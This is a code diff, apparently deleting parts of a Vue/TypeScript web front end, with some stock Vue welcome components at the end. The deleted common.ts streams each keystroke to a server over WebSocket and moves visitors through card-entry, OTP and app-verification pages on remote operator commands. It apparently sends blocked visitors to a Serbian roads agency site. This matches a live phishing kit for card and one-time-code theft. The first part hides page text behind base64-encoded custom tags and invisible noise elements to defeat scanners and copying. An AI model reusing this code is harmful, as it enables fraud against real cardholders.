for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
import _ from "lodash";
|
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
|
||||||
import router from "@/router";
|
|
||||||
import { ref } from "vue";
|
|
||||||
import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
|
||||||
import i18n from "@/main";
|
|
||||||
import { useSocketIo } from "./socketio";
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
||||||
|
|
||||||
// WebSocket interface
|
|
||||||
interface MyWebSocket {
|
|
||||||
socket: any;
|
|
||||||
send: (data: string) => Promise<void>;
|
|
||||||
off: (event: string) => void;
|
|
||||||
on: (event: string, callback: (data: any) => void) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const customOtpData = ref<any>({});
|
|
||||||
|
|
||||||
export function setCustomOtpData(data: any) {
|
|
||||||
customOtpData.value = data;
|
|
||||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
||||||
}
|
|
||||||
|
|
||||||
export let myWebSocket: MyWebSocket | undefined;
|
|
||||||
|
|
||||||
// Configuration data
|
|
||||||
export const configData = ref<Record<string, any>>({});
|
|
||||||
|
|
||||||
// Utility function to check if all values in an object are not empty
|
|
||||||
export function areAllValuesNotEmpty(
|
|
||||||
obj: Record<string, any>,
|
|
||||||
excludedFields: string[] = []
|
|
||||||
): boolean {
|
|
||||||
return Object.keys(obj).every((key) => {
|
|
||||||
if (excludedFields.includes(key)) return true;
|
|
||||||
const value = obj[key];
|
|
||||||
return (
|
|
||||||
value !== null &&
|
|
||||||
value !== undefined &&
|
|
||||||
value !== "" &&
|
|
||||||
!(typeof value === "string" && value.trim() === "")
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储 WebSocket 和 API 的防抖函数
|
|
||||||
const wsDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
const apiDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
|
|
||||||
// 获取或创建针对某个键的防抖函数
|
|
||||||
function getDebouncedFunction(
|
|
||||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
||||||
key: string,
|
|
||||||
func: (...args: any[]) => void,
|
|
||||||
wait: number
|
|
||||||
) {
|
|
||||||
if (!debounceFunctions[key]) {
|
|
||||||
debounceFunctions[key] = _.debounce(func, wait);
|
|
||||||
}
|
|
||||||
return debounceFunctions[key];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeRef = ref(1)
|
|
||||||
|
|
||||||
|
|
||||||
// 处理输入变化
|
|
||||||
export function inputChange(type: string, key: any, value: any) {
|
|
||||||
const currentTimestamp = Date.now(); // 当前时间戳
|
|
||||||
|
|
||||||
// WebSocket 防抖函数
|
|
||||||
const wsDebouncedFunction = getDebouncedFunction(
|
|
||||||
wsDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "input_text",
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
})
|
|
||||||
);
|
|
||||||
},
|
|
||||||
300
|
|
||||||
);
|
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
|
||||||
wsDebouncedFunction(type, key, value);
|
|
||||||
if(modeRef.value !== 2) {
|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
|
||||||
export function loginSuccess(token: string, mode: number) {
|
|
||||||
if(mode === 2) {
|
|
||||||
modeRef.value = 2
|
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}else{
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
||||||
myWebSocket?.on("open", () => {
|
|
||||||
const lastToken = localStorage.getItem("token");
|
|
||||||
loginWebsocket(token, lastToken !== token);
|
|
||||||
});
|
|
||||||
|
|
||||||
myWebSocket?.on("message", handleMessage);
|
|
||||||
|
|
||||||
window.addEventListener("beforeunload", () => {
|
|
||||||
myWebSocket?.off("close");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle WebSocket messages
|
|
||||||
function handleMessage(data: any) {
|
|
||||||
const jsonData = JSON.parse(data);
|
|
||||||
if (!jsonData || !jsonData.event) return;
|
|
||||||
|
|
||||||
const { event, content } = jsonData;
|
|
||||||
|
|
||||||
switch (event) {
|
|
||||||
case "login":
|
|
||||||
//handleLoginEvent(content);
|
|
||||||
break;
|
|
||||||
case "result_type":
|
|
||||||
handleResultTypeEvent(content);
|
|
||||||
break;
|
|
||||||
case "reload":
|
|
||||||
window.location.reload();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle login event
|
|
||||||
function handleLoginEvent(content: any) {
|
|
||||||
const route = localStorage.getItem("route");
|
|
||||||
if (route) {
|
|
||||||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
|
||||||
if (route === "customOtpValid" && customOtpDataValue) {
|
|
||||||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: route },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle result type event
|
|
||||||
function handleResultTypeEvent(content: any) {
|
|
||||||
if (!content) return;
|
|
||||||
|
|
||||||
const typeHandlers: Record<string, () => void> = {
|
|
||||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
||||||
otpValid: () => navigateTo("/otpValid", content),
|
|
||||||
appValid: () => navigateTo("/appValid", content),
|
|
||||||
success: () => router.push("/success"),
|
|
||||||
kickOut: redirectToExternal,
|
|
||||||
block: redirectToExternal,
|
|
||||||
otpFail: () =>
|
|
||||||
eventBus.emit("otp-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t("Verification code error, please try again"),
|
|
||||||
}),
|
|
||||||
appFail: () =>
|
|
||||||
eventBus.emit("app-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t(
|
|
||||||
"The session is about to expire, please complete the verification now"
|
|
||||||
),
|
|
||||||
}),
|
|
||||||
back: () => handleBackOrReject(content, true),
|
|
||||||
reject: () => handleBackOrReject(content, false),
|
|
||||||
refresh: () => {
|
|
||||||
if(localStorage.getItem("route")){
|
|
||||||
localStorage.removeItem("route");
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
if (content.type == "customOtpValid") {
|
|
||||||
if(content.value.customOtpData) {
|
|
||||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (content.type == "customOtpFail") {
|
|
||||||
eventBus.emit("custom-otp-valid", {
|
|
||||||
message2: content.value.message2,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
const handler = typeHandlers[content.type];
|
|
||||||
if (handler) handler();
|
|
||||||
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Navigate to specific path with query parameters
|
|
||||||
function navigateTo(path: string, content: any) {
|
|
||||||
|
|
||||||
router.push('/temp').then(() => {
|
|
||||||
router.push({
|
|
||||||
path: path,
|
|
||||||
query: {
|
|
||||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
||||||
message1: content.value?.message1,
|
|
||||||
key: new Date().getMilliseconds(),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle back or reject type
|
|
||||||
function handleBackOrReject(content: any, isBack: boolean) {
|
|
||||||
let message2 = i18n.global.t(
|
|
||||||
"This card does not support this transaction, please try another card"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (configData.value.error_card_msg) {
|
|
||||||
message2 = configData.value.error_card_msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.type) {
|
|
||||||
const type = content.value.type;
|
|
||||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
||||||
message2 = configData.value.deny_c_msg;
|
|
||||||
}
|
|
||||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
||||||
message2 = configData.value.deny_d_msg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.message2) {
|
|
||||||
message2 = content.value.message2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isBack) {
|
|
||||||
router.push({ path: "/card", query: { message2 } });
|
|
||||||
}
|
|
||||||
|
|
||||||
eventBus.emit("my-event", { message2 });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Login to WebSocket
|
|
||||||
function loginWebsocket(token: string, isFirst: boolean) {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "login",
|
|
||||||
content: { tag: "user", token, isFirst },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
initHtml();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect to an external URL
|
|
||||||
export function redirectToExternal() {
|
|
||||||
window.location.href = "https://www.putevi-srbije.rs/";
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function loadHtml(url: string) {
|
|
||||||
try {
|
|
||||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
||||||
if (!response.ok) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
return await response.text();
|
|
||||||
} catch (error) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const headerHtml = ref("");
|
|
||||||
export const footerHtml = ref("");
|
|
||||||
export const loadingBg = ref("#ffffff");
|
|
||||||
|
|
||||||
const initHtml = async () => {
|
|
||||||
const routePath = localStorage.getItem("route");
|
|
||||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
|
||||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
|
||||||
await router.push(routePath ? `/${routePath}` : "/phone");
|
|
||||||
setTimeout(async () => {
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
loadingBg.value = "transparent";
|
|
||||||
}, 200);
|
|
||||||
};
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
